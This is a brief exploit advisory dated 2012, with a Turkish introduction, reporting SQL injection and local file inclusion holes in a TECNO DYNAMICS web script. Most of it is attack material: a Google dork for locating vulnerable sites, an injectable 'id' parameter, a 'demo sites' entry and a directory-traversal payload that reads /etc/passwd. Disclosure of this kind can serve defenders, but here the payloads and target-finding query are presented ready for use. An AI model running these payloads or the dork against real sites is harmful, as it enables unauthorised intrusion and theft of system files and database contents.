TECNO DYNAMICS scriptinde sql injection ve local file include açıkları bulundu. Açıkların oluşum yerleri şu şekilde:
# Exploit Title: TECNO DYNAMICS - SQL INJECTION & LFI
# Date: 08/10/2012
# Author: k2ll33d
# Vendor : tecnoglobal.com
# Version: N/A
# Category: webapps
# Google dork: "inurl:template_home.php4 intext:Todos los Derechos Reservados"
# vuln:
[ SQLI ]
http://localhost/template_home.php4?id=[SQLI]
# Demo sites:
/site/template_home.php4?id=1'
[LFI]
#vuln :
http://localhost/template_home.php4?sec=2&pag=1&url=../../../../../../../../etc/passwd